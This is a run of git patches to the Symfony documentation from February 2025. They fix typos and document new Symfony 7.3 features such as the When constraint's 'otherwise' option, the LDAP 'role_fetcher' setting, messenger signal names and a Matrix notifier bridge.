--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -163,7 +163,7 @@ the metadata from the attributes of the class. For example::
 To enable the attribute loader, call the
 :method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAttributeMapping` method.
 
-To disable the annotation loader after it was enabled, call
+To disable the attribute loader after it was enabled, call
 :method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAttributeMapping`.
 
 Using Multiple Loaders

From 4ac85c1c5521a5933a64cadd591375fbc2b1fda3 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 4 Feb 2025 09:46:11 +0100
Subject: [PATCH 5349/5766] [#20337] fix typo

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 5458910d46a..e4f4abf60eb 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2925,7 +2925,7 @@ and a different instance will be created per bus.
 .. tip::
 
     If you have installed the MakerBundle, you can use the ``make:messenger-middleware``
-    command to bootstrap the creation your own messenger middleware.
+    command to bootstrap the creation of your own messenger middleware.
 
 .. _middleware-doctrine:
 

From bed785d4fb526bdc3f36797112cd3124a6d0ff42 Mon Sep 17 00:00:00 2001
From: Hugo Alliaume <hugo@alliau.me>
Date: Wed, 5 Feb 2025 20:59:56 +0100
Subject: [PATCH 5350/5766] =?UTF-8?q?[Frontend]=C2=A0Correct=20"Removes=20?=
 =?UTF-8?q?comments=20from=20CSS"=20comparison?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 frontend.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/frontend.rst b/frontend.rst
index c28e6fcf222..ac7ececabcc 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -35,7 +35,7 @@ Supports Sass/Tailwind            :ref:`yes <asset-mapper-tailwind>`  yes
 Supports React, Vue, Svelte?      yes :ref:`[1] <ux-note-1>`          yes
 Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
 Removes comments from JavaScript  no :ref:`[2] <ux-note-2>`           yes
-Removes comments from CSS         no :ref:`[2] <ux-note-2>`           no
+Removes comments from CSS         no :ref:`[2] <ux-note-2>`           yes :ref:`[4] <ux-note-4>`
 Versioned assets                  always                              optional
 Can update 3rd party packages     yes                                 no :ref:`[3] <ux-note-3>`
 ================================  ==================================  ==========
@@ -56,6 +56,10 @@ be executed by a browser.
 
 **[3]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``).
 
+.. _ux-note-4:
+
+**[4]** Comments from CSS code can be removed with `CssMinimizerPlugin`_, configurable with ``Encore.configureCssMinimizerPlugin()``.
+
 .. _frontend-asset-mapper:
 
 AssetMapper (Recommended)
@@ -153,3 +157,4 @@ Other Front-End Articles
 .. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle
 .. _`AssetMapper screencast series`: https://symfonycasts.com/screencast/asset-mapper
 .. _`API Platform screencast series`: https://symfonycasts.com/screencast/api-platform
+.. _`CssMinimizerPlugin`: https://webpack.js.org/plugins/css-minimizer-webpack-plugin

From 21c28b8f46bd9b706eac2cbe58a9476c32140f1f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 6 Feb 2025 08:45:01 +0100
Subject: [PATCH 5351/5766] Minor tweak

---
 frontend.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/frontend.rst b/frontend.rst
index ac7ececabcc..404c9ade3a3 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -58,7 +58,8 @@ be executed by a browser.
 
 .. _ux-note-4:
 
-**[4]** Comments from CSS code can be removed with `CssMinimizerPlugin`_, configurable with ``Encore.configureCssMinimizerPlugin()``.
+**[4]** CSS comments can be removed using `CssMinimizerPlugin`_, which is included
+in Webpack Encore and configurable via ``Encore.configureCssMinimizerPlugin()``.
 
 .. _frontend-asset-mapper:
 

From a95a58058d0940d2c178604fa0eaadb90d6b2cae Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 6 Feb 2025 16:35:52 +0100
Subject: [PATCH 5352/5766] [Mailer] Minor reformating

Page: https://symfony.com/doc/6.4/mailer.html#message-headers

Reason: Code block too wide by one word ;-)
---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 99778ccb8cd..53a6475a093 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -572,8 +572,8 @@ header, etc.) but most of the times you'll set text headers::
 
     $email = (new Email())
         ->getHeaders()
-            // this non-standard header tells compliant autoresponders ("email holiday mode") to not
-            // reply to this message because it's an automated email
+            // this non-standard header tells compliant autoresponders ("email holiday mode")
+            // to not reply to this message because it's an automated email
             ->addTextHeader('X-Auto-Response-Suppress', 'OOF, DR, RN, NRN, AutoReply')
 
             // use an array if you want to add a header with multiple values

From da9ed9877aecbcb54fc97b61561ec018311ecff0 Mon Sep 17 00:00:00 2001
From: Alexis Urien <alexis.urien@free.fr>
Date: Thu, 6 Feb 2025 11:54:32 -0800
Subject: [PATCH 5353/5766] Update tags.rst

I think it's the new recommanded way for bundles (as seen here https://symfony.com/doc/current/bundles/extension.html)
---
 service_container/tags.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 270d6702f5a..fde9c2640aa 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -171,6 +171,25 @@ In a Symfony bundle, call this method in the ``load()`` method of the
         }
     }
 
+or if you are following the recommended way for new bundles and for bundles following the
+:ref:`recommended directory structure <bundles-directory-structure>`::
+
+    // ...
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+    
+    class MyBundle extends AbstractBundle
+    {
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            $builder
+                ->registerForAutoconfiguration(CustomInterface::class)
+                ->addTag('app.custom_tag')
+            ;
+        }
+    }
+
 Autoconfiguration registering is not limited to interfaces. It is possible
 to use PHP attributes to autoconfigure services by using the
 :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`

From 197da33b21c81dc6499d1735380e1117c83c6ee2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 7 Feb 2025 09:14:45 +0100
Subject: [PATCH 5354/5766] [Validator] Add support for the `otherwise` option
 in the `When` constraint

---
 reference/constraints/When.rst | 33 ++++++++++++++++++++++++++++++++-
 1 file changed, 32 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index ec21eca9784..22ae477365f 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -9,6 +9,7 @@ Applies to  :ref:`class <validation-class-target>`
             or :ref:`property/method <validation-property-target>`
 Options     - `expression`_
             - `constraints`_
+            _ `otherwise`_
             - `groups`_
             - `payload`_
             - `values`_
@@ -47,7 +48,7 @@ properties::
 To validate the object, you have some requirements:
 
 A) If ``type`` is ``percent``, then ``value`` must be less than or equal 100;
-B) If ``type`` is ``absolute``, then ``value`` can be anything;
+B) If ``type`` is not ``percent``, then ``value`` must be less than 9999;
 C) No matter the value of ``type``, the ``value`` must be greater than 0.
 
 One way to accomplish this is with the When constraint:
@@ -69,6 +70,9 @@ One way to accomplish this is with the When constraint:
                 constraints: [
                     new Assert\LessThanOrEqual(100, message: 'The value should be between 1 and 100!')
                 ],
+                otherwise: [
+                    new Assert\LessThan(9999, message: 'The value should be less than 9999!')
+                ],
             )]
             private ?int $value;
 
@@ -88,6 +92,10 @@ One way to accomplish this is with the When constraint:
                             - LessThanOrEqual:
                                 value: 100
                                 message: "The value should be between 1 and 100!"
+                        otherwise:
+                            - LessThan:
+                                value: 9999
+                                message: "The value should be less than 9999!"
 
     .. code-block:: xml
 
@@ -109,6 +117,12 @@ One way to accomplish this is with the When constraint:
                                 <option name="message">The value should be between 1 and 100!</option>
                             </constraint>
                         </option>
+                        <option name="otherwise">
+                            <constraint name="LessThan">
+                                <option name="value">9999</option>
+                                <option name="message">The value should be less than 9999!</option>
+                            </constraint>
+                        </option>
                     </constraint>
                 </property>
             </class>
@@ -135,6 +149,12 @@ One way to accomplish this is with the When constraint:
                             message: 'The value should be between 1 and 100!',
                         ),
                     ],
+                    otherwise: [
+                        new Assert\LessThan(
+                            value: 9999,
+                            message: 'The value should be less than 9999!',
+                        ),
+                    ],
                 ));
             }
 
@@ -279,6 +299,17 @@ You can also pass custom variables using the `values`_ option.
 
 One or multiple constraints that are applied if the expression returns true.
 
+``otherwise``
+~~~~~~~~~~~~~
+
+**type**: ``array|Constraint``
+
+One or multiple constraints that are applied if the expression returns false.
+
+.. versionadded:: 7.3
+
+    The ``otherwise`` option was introduced in Symfony 7.3.
+
 .. include:: /reference/constraints/_groups-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc

From 035e35265d1c6be1807bb0586299a9af936d222d Mon Sep 17 00:00:00 2001
From: Casey Heagerty <casey.heagerty@ledger.fr>
Date: Mon, 10 Feb 2025 09:52:12 +0100
Subject: [PATCH 5355/5766] Fix 2 small grammar errors/6.4

---
 doctrine/events.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index dcc5d8bb6ef..9507316eb5b 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -3,7 +3,7 @@ Doctrine Events
 
 `Doctrine`_, the set of PHP libraries used by Symfony to work with databases,
 provides a lightweight event system to update entities during the application
-execution. These events, called `lifecycle events`_, allow to perform tasks such
+execution. These events, called `lifecycle events`_, allow performing tasks such
 as *"update the createdAt property automatically right before persisting entities
 of this type"*.
 
@@ -24,7 +24,7 @@ There are different ways to listen to these Doctrine events:
   methods are called for all entities, not only those of a certain type. They are
   ideal to **share event logic between entities**.
 
-The performance of each type of listener depends on how many entities applies to:
+The performance of each type of listener depends on how many entities it applies to:
 lifecycle callbacks are faster than entity listeners, which in turn are faster
 than lifecycle listeners.
 

From 919b814eafc8164d4276734839790cb212e86b96 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 10 Feb 2025 14:52:18 +0100
Subject: [PATCH 5356/5766] Add a few words about core team member
 responsibilities

---
 contributing/code/core_team.rst | 14 ++++++++++++--
 1 file changed, 12 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 1b1703e4f93..2afae903d92 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -13,8 +13,8 @@ This document states the rules that govern the Symfony core team. These rules
 are effective upon publication of this document and all Symfony Core members
 must adhere to said rules and protocol.
 
-Role of a Core Team Member
---------------------------
+Core Team Member Role
+---------------------
 
 In addition to being a regular contributor, core team members are expected to:
 
@@ -22,6 +22,16 @@ In addition to being a regular contributor, core team members are expected to:
 * Help enforce, improve, and implement Symfony :doc:`processes and policies </contributing/index>`;
 * Participate in the Symfony Core Team discussions (on Slack and GitHub).
 
+Core Team Member Responsibilities
+---------------------------------
+
+Core Team members are unpaid volunteers and as such, they are not expected to
+dedicate any specific amount of time on Symfony. They are expected to help the
+project in any way they can, from reviewing pull requests, writing documentation
+to participating in discussions and helping the community in general, but their
+involvement is completely voluntary and can be as much or as little as they
+want.
+
 Core Organization
 -----------------
 

From cf1d8f176bc1a539ceaabc474485d833fa6291fe Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 11 Feb 2025 09:48:14 +0100
Subject: [PATCH 5357/5766] [FrameworkBundle] Allow to pass signals to
 `StopWorkerOnSignalsListener` in XML config and as plain strings

---
 messenger.rst | 52 ++++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 51 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 8d679a48b61..2de8c6f9fb3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -848,7 +848,56 @@ message before terminating.
 
 However, you might prefer to use different POSIX signals for graceful shutdown.
 You can override default ones by setting the ``framework.messenger.stop_worker_on_signals``
-configuration option.
+configuration option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                stop_worker_on_signals:
+                    - SIGTERM
+                    - SIGINT
+                    - SIGUSR1
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                   xmlns:framework="http://symfony.com/schema/dic/symfony"
+                   xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <!-- ... -->
+                    <framework:stop-worker-on-signal>SIGTERM</framework:stop-worker-on-signal>
+                    <framework:stop-worker-on-signal>SIGINT</framework:stop-worker-on-signal>
+                    <framework:stop-worker-on-signal>SIGUSR1</framework:stop-worker-on-signal>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->messenger()
+                ->stopWorkerOnSignals(['SIGTERM', 'SIGINT', 'SIGUSR1']);
+        };
+
+.. versionadded:: 7.3
+
+    Support for signals plain name in configuration was introduced in Symfony 7.3.
+    Prior to this, you had to use the numeric values of the signals as defined
+    in the ``pcntl`` extension's `predefined constants`_.
 
 In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g. stopping
 a Docker container having Supervisor as its entrypoint). In these cases you
@@ -3587,3 +3636,4 @@ Learn more
 .. _`high connection churn`: https://www.rabbitmq.com/connections.html#high-connection-churn
 .. _`article about CQRS`: https://martinfowler.com/bliki/CQRS.html
 .. _`SSL context options`: https://php.net/context.ssl
+.. _`predefined constants`: https://www.php.net/pcntl.constants

From 3a70718236a75ad94fa43150e75888f03f79baee Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Tue, 11 Feb 2025 13:12:53 +0100
Subject: [PATCH 5358/5766] Update http client timeout option docs

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 4432563f597..6d6f9b009f6 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1281,7 +1281,7 @@ timeout
 
 **type**: ``float`` **default**: depends on your PHP config
 
-Time, in seconds, to wait for a response. If the response takes longer, a
+Time, in seconds, to wait for network activity. If the connection is idle for longer, a
 :class:`Symfony\\Component\\HttpClient\\Exception\\TransportException` is thrown.
 Its default value is the same as the value of PHP's `default_socket_timeout`_
 config option.

From 3de90f363a446bb0d675c110c7529014e45604c7 Mon Sep 17 00:00:00 2001
From: Hugo Alliaume <hugo@alliau.me>
Date: Tue, 11 Feb 2025 15:52:18 +0100
Subject: [PATCH 5359/5766] [Cache] Fix "Marshalling (Serializing) Data" code
 rendering issue

---
 components/cache.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/cache.rst b/components/cache.rst
index 939627b1807..4873fb7abc7 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -209,11 +209,11 @@ the cache items before storing them.
 
 The :class:`Symfony\\Component\\Cache\\Marshaller\\DefaultMarshaller` uses PHP's
 ``serialize()`` function by default, but you can optionally use the ``igbinary_serialize()``
-function from the `Igbinary extension`_:
+function from the `Igbinary extension`_::
 
     use Symfony\Component\Cache\Adapter\RedisAdapter;
-    use Symfony\Component\Cache\DefaultMarshaller;
-    use Symfony\Component\Cache\DeflateMarshaller;
+    use Symfony\Component\Cache\Marshaller\DefaultMarshaller;
+    use Symfony\Component\Cache\Marshaller\DeflateMarshaller;
 
     $marshaller = new DeflateMarshaller(new DefaultMarshaller());
     // you can optionally use the Igbinary extension if you have it installed

From 08a3431263166a0bd2e889b026601abeddeb1c14 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 12 Feb 2025 08:40:52 +0100
Subject: [PATCH 5360/5766] Minor tweaks

---
 messenger.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 2de8c6f9fb3..c6643af0a89 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -895,9 +895,9 @@ configuration option:
 
 .. versionadded:: 7.3
 
-    Support for signals plain name in configuration was introduced in Symfony 7.3.
-    Prior to this, you had to use the numeric values of the signals as defined
-    in the ``pcntl`` extension's `predefined constants`_.
+    Support for signals plain names in configuration was introduced in Symfony 7.3.
+    Previously, you had to use the numeric values of signals as defined by the
+    ``pcntl`` extension's `predefined constants`_.
 
 In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g. stopping
 a Docker container having Supervisor as its entrypoint). In these cases you

From 37e23491022c0440573378809b964b0eacc848a9 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Thu, 13 Feb 2025 09:36:07 +0100
Subject: [PATCH 5361/5766] Add `role_fetcher` option to LDAP security
 configuration

The `role_fetcher` option allows defining a service to fetch user roles from the LDAP server by implementing `RoleFetcherInterface`. This option was introduced in Symfony 7.3, and it supersedes `default_roles` when set. The `MemberOfRoles` implementation can be used to retrieve roles from the `ismemberof` attribute.
---
 security/ldap.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/security/ldap.rst b/security/ldap.rst
index 081be764290..923d74807dc 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -256,6 +256,23 @@ This is the default role you wish to give to a user fetched from the LDAP
 server. If you do not configure this key, your users won't have any roles,
 and will not be considered as authenticated fully.
 
+role_fetcher
+............
+
+**type**: ``string`` **default**: ``null``
+
+When your LDAP service provides user roles, you can use this configuration option
+to define the role fetcher service. The role fetcher service must implement the
+``Component\Ldap\Security\RoleFetcherInterface`` interface.
+``default_roles`` is ignored when ``role_fetcher`` is set.
+
+``Symfony\Component\Ldap\Security\MemberOfRoles`` is a concrete implementation
+of the ``RoleFetcherInterface`` that fetches roles from the ``ismemberof`` attribute.
+
+.. versionadded:: 7.3
+
+    The configuration option ``role_fetcher`` was introduced in Symfony 7.3.
+
 uid_key
 .......
 

From ac4a5f7e33768de7bae343445471302dd88ee9c9 Mon Sep 17 00:00:00 2001
From: Matthias Pigulla <mp@webfactory.de>
Date: Thu, 13 Feb 2025 11:06:45 +0100
Subject: [PATCH 5362/5766] Explain how translation messages are merged among
 bundles

---
 translation.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 98b90949b6a..231969f9487 100644
--- a/translation.rst
+++ b/translation.rst
@@ -497,7 +497,9 @@ Symfony looks for message files (i.e. translations) in the following default loc
   ``Resources/translations/`` directory, which is no longer recommended for bundles).
 
 The locations are listed here with the highest priority first. That is, you can
-override the translation messages of a bundle in the first directory.
+override the translation messages of a bundle in the first directory. Bundles are processed
+in the order they are given in the ``config/bundles.php`` file, so bundles listed first have
+higher priority.
 
 The override mechanism works at a key level: only the overridden keys need
 to be listed in a higher priority message file. When a key is not found

From 85b4530e81355182d6ad59fac60f9d8c0459e2de Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 14 Feb 2025 09:16:31 +0100
Subject: [PATCH 5363/5766] Minor tweaks

---
 security/ldap.rst | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/security/ldap.rst b/security/ldap.rst
index 923d74807dc..c4c3646122b 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -259,19 +259,20 @@ and will not be considered as authenticated fully.
 role_fetcher
 ............
 
-**type**: ``string`` **default**: ``null``
+**Type**: ``string`` **Default**: ``null``
 
-When your LDAP service provides user roles, you can use this configuration option
-to define the role fetcher service. The role fetcher service must implement the
-``Component\Ldap\Security\RoleFetcherInterface`` interface.
-``default_roles`` is ignored when ``role_fetcher`` is set.
+When your LDAP service provides user roles, this option allows you to define
+the service that retrieves these roles. The role fetcher service must implement
+the ``Symfony\Component\Ldap\Security\RoleFetcherInterface``. When this option
+is set, the ``default_roles`` option is ignored.
 
-``Symfony\Component\Ldap\Security\MemberOfRoles`` is a concrete implementation
-of the ``RoleFetcherInterface`` that fetches roles from the ``ismemberof`` attribute.
+Symfony provides ``Symfony\Component\Ldap\Security\MemberOfRoles``, a concrete
+implementation of the interface that fetches roles from the ``ismemberof``
+attribute.
 
 .. versionadded:: 7.3
 
-    The configuration option ``role_fetcher`` was introduced in Symfony 7.3.
+    The ``role_fetcher`` configuration option was introduced in Symfony 7.3.
 
 uid_key
 .......

From 3b1505d8f6dedb3d1feb5d56ea1ad74a93dcb8a5 Mon Sep 17 00:00:00 2001
From: Kirill Kotov <k.kotov@codd.tech>
Date: Sat, 15 Feb 2025 12:38:18 +0300
Subject: [PATCH 5364/5766] Messenger: Add consumer name documentation

---
 messenger.rst | 16 +++++++++++++++-
 1 file changed, 15 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index e4f4abf60eb..c62436eb1e9 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1768,7 +1768,21 @@ under the transport in ``messenger.yaml``:
     The Redis consumer group name
 
 ``consumer`` (default: ``consumer``)
-    Consumer name used in Redis
+    Consumer name used in Redis. Allows to set explicit consumer name identifier.
+    Recommended for environments with multiple workers to prevent duplicate message processing.
+    Typically set via environment variable:
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                transports:
+                    redis:
+                        dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
+                        options:
+                            consumer: '%env(MESSENGER_CONSUMER_NAME)%'
+
 
 ``auto_setup`` (default: ``true``)
     Whether to create the Redis group automatically

From 03b1ed9d422b12e12c9673dd9934090127b8bc8c Mon Sep 17 00:00:00 2001
From: Frank Schulze <frank@akiber.de>
Date: Wed, 8 Jan 2025 18:32:15 +0100
Subject: [PATCH 5365/5766] [Notifier] Add Matrix bridge

---
 notifier.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 090f4db2007..da0a622fb1d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -369,6 +369,7 @@ Service                                  Package                               D
 `LinkedIn`_                              ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
 `Mastodon`_                              ``symfony/mastodon-notifier``         ``mastodon://ACCESS_TOKEN@HOST``
 `Mattermost`_                            ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
+`Matrix`_                                ``symfony/matrix-notifier``           ``matrix://HOST:PORT/?accessToken=ACCESSTOKEN&ssl=SSL``
 `Mercure`_                               ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
 `MicrosoftTeams`_                        ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
 `RocketChat`_                            ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
@@ -392,6 +393,10 @@ Service                                  Package                               D
     The ``Gitter`` integration was removed in Symfony 7.2 because that service
     no longer provides an API.
 
+.. versionadded:: 7.3
+
+    The ``Matrix`` integration was introduced in Symfony 7.3.
+
 .. warning::
 
     By default, if you have the :doc:`Messenger component </messenger>` installed,
@@ -1259,6 +1264,7 @@ is dispatched. Listeners receive a
 .. _`LOX24`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Lox24/README.md
 .. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mailjet/README.md
 .. _`Mastodon`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mastodon/README.md
+.. _`Matrix`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Matrix/README.md
 .. _`Mattermost`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mattermost/README.md
 .. _`Mercure`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mercure/README.md
 .. _`MessageBird`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/MessageBird/README.md

From 2f957375486c4aa8e15733987d987738aa0c34f2 Mon Sep 17 00:00:00 2001
From: Alexander Menk <a.menk@imi.de>
Date: Fri, 14 Feb 2025 14:42:17 +0100
Subject: [PATCH 5366/5766] [Console] Add markdown format to Table

---
 components/console/helpers/table.rst | 20 ++++++++++++++++++--
 1 file changed, 18 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 13bdeb491f0..1f90512af7b 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -181,11 +181,27 @@ The table style can be changed to any built-in styles via
     // same as calling nothing
     $table->setStyle('default');
 
-    // changes the default style to compact
+    // changes the default style to markdown
+    $table->setStyle('markdown');
+    $table->render();
+
+This outputs the table in the Markdown format:
+
+.. code-block:: terminal
+
+    | ISBN          | Title                    | Author           |
+    |---------------|--------------------------|------------------|
+    | 99921-58-10-7 | Divine Comedy            | Dante Alighieri  |
+    | 9971-5-0210-0 | A Tale of Two Cities     | Charles Dickens  |
+    | 960-425-059-0 | The Lord of the Rings    | J. R. R. Tolkien |
+    | 80-902734-1-6 | And Then There Were None | Agatha Christie  |
+
+You can also set the style to ``compact``::
+
     $table->setStyle('compact');
     $table->render();
 
-This code results in:
+The output of this command will be:
 
 .. code-block:: terminal
 

From 0f887b0c50b7b93a1eed0c2547f951f11a669630 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Feb 2025 08:32:39 +0100
Subject: [PATCH 5367/5766] Added the versionadded directive

---
 components/console/helpers/table.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 1f90512af7b..9d6fdb0ee61 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -196,6 +196,10 @@ This outputs the table in the Markdown format:
     | 960-425-059-0 | The Lord of the Rings    | J. R. R. Tolkien |
     | 80-902734-1-6 | And Then There Were None | Agatha Christie  |
 
+.. versionadded:: 7.3
+
+    The ``markdown`` style was introduced in Symfony 7.3.
+
 You can also set the style to ``compact``::
 
     $table->setStyle('compact');

From 2af4cbece3c63074ea77e2a3bae2717b03c89e07 Mon Sep 17 00:00:00 2001
From: Sherin Bloemendaal <sherinbloemendaal@outlook.com>
Date: Mon, 17 Feb 2025 15:27:01 +0100
Subject: [PATCH 5368/5766] Remove per-property support, dropped in Symfony 7.0

---
 components/var_exporter.rst | 11 -----------
 1 file changed, 11 deletions(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 6aa4279788e..fc6b34868db 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -264,17 +264,6 @@ While you never query ``$processor->hash`` value, heavy methods will never be
 triggered. But still, the ``$processor`` object exists and can be used in your
 code, passed to methods, functions, etc.
 
-Additionally and by adding two arguments to the initializer function, it is
-possible to initialize properties one-by-one::
-
-    $processor = LazyHashProcessor::createLazyGhost(initializer: function (HashProcessor $instance, string $propertyName, ?string $propertyScope): mixed {
-        if (HashProcessor::class === $propertyScope && 'hash' === $propertyName) {
-            // Return $hash value
-        }
-
-        // Then you can add more logic for the other properties
-    });
-
 Ghost objects unfortunately can't work with abstract classes or internal PHP
 classes. Nevertheless, the VarExporter component covers this need with the help
 of :ref:`Virtual Proxies <var-exporter_virtual-proxies>`.

From 63ee2e46cb2ee6923d2fb1a54ce38a85971f9459 Mon Sep 17 00:00:00 2001
From: Sherin Bloemendaal <sherinbloemendaal@outlook.com>
Date: Mon, 17 Feb 2025 15:40:38 +0100
Subject: [PATCH 5369/5766] Add deprecation notice for propertyName and
 propertyScope in initializer (Symfony 6.4)

---
 components/var_exporter.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 46471dca1d9..cb935c22da4 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -285,6 +285,12 @@ possible to initialize properties one-by-one::
         // Then you can add more logic for the other properties
     });
 
+.. deprecated:: 6.4
+
+   The use of ``propertyName`` and ``propertyScope`` in the initializer function
+   is deprecated since Symfony 6.4 and will be removed in Symfony 7.0.
+   The initializer should now handle the entire object initialization at once.
+
 Ghost objects unfortunately can't work with abstract classes or internal PHP
 classes. Nevertheless, the VarExporter component covers this need with the help
 of :ref:`Virtual Proxies <var-exporter_virtual-proxies>`.

From 044c5aa27a5838109efe5572d0cf910bb9dac614 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Feb 2025 08:22:00 +0100
Subject: [PATCH 5370/5766] Add a deprecation notice

---
 components/var_exporter.rst | 5 +++++
 1 file changed, 5 insertions(+)

